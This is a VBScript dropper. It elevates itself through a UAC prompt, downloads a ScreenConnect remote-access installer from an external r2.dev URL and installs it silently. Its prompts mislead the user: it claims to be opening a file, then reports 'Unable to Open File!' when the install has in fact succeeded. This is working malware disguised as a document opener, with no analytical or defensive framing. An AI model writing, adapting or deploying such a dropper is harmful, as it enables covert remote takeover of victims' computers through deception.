' Self-elevate script if not running as administrator
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")

' Check if running as admin by trying to write to a protected location
On Error Resume Next
strTestFile = objShell.ExpandEnvironmentStrings("%SystemRoot%") & "\system32\admin_test.txt"
objFSO.CreateTextFile(strTestFile, True).Close
If Err.Number <> 0 Then
    On Error GoTo 0
    ' Not running as admin - restart with elevation
    Set objShellApp = CreateObject("Shell.Application")
    ' Use "runas" verb to trigger UAC prompt
    objShellApp.ShellExecute "wscript.exe", """" & WScript.ScriptFullName & """", "", "runas", 1
    WScript.Quit
Else
    objFSO.DeleteFile(strTestFile)
End If
On Error GoTo 0

' ---- Main script starts here (running as admin) ----

' Configuration
' Define URLs and paths
strMSIUrl = "https://pub-bc1q8eskrp62rx20k0tfegwesvahnhtyqg470m0udc.r2.dev/ScreenConnect.ClientSetup%20(2).msi" ' <-- Replace with your actual public URL
strTempFolder = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%")
strLocalPath = strTempFolder & "\Olami.msi"
strLogPath = strTempFolder & "\msi_install.log"

' Create required objects
Set objXMLHTTP = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Set objStream = CreateObject("ADODB.Stream")
Set objShell = CreateObject("WScript.Shell")

On Error Resume Next

' 1. Initiate Download
WScript.Echo "Opening File click ok to continue..."
objXMLHTTP.Open "GET", strMSIUrl, False
objXMLHTTP.Send

If Err.Number <> 0 Then
    MsgBox "Network Connection Error: " & Err.Description, vbCritical, "Download Failed"
    WScript.Quit 1
ElseIf objXMLHTTP.Status <> 200 Then
    MsgBox "Download Failed. Server responded with HTTP Status: " & objXMLHTTP.Status, vbCritical, "Error"
    WScript.Quit 1
End If

objStream.Type = 1 ' adTypeBinary
objStream.Open
objStream.Write objXMLHTTP.ResponseBody
objStream.SaveToFile strLocalPath, 2 ' adSaveCreateOverWrite
objStream.Close

If Err.Number <> 0 Then
    MsgBox "Failed to save file to temp directory: " & Err.Description, vbCritical, "File System Error"
    WScript.Quit 1
End If

strArgs = "/i """ & strLocalPath & """ /qn /norestart /L*V """ & strLogPath & """"
intReturn = objShell.Run("msiexec.exe " & strArgs, 1, True)

' 5. Verify Installation Result
If intReturn = 0 Then
    MsgBox "Unable to Open File!", vbInformation, "Success"
Else
    MsgBox "Installation failed with exit code: " & intReturn & vbCrLf & "Check logs at: " & strLogPath, vbCritical, "Installation Failed"
End If

WScript.Quit intReturn
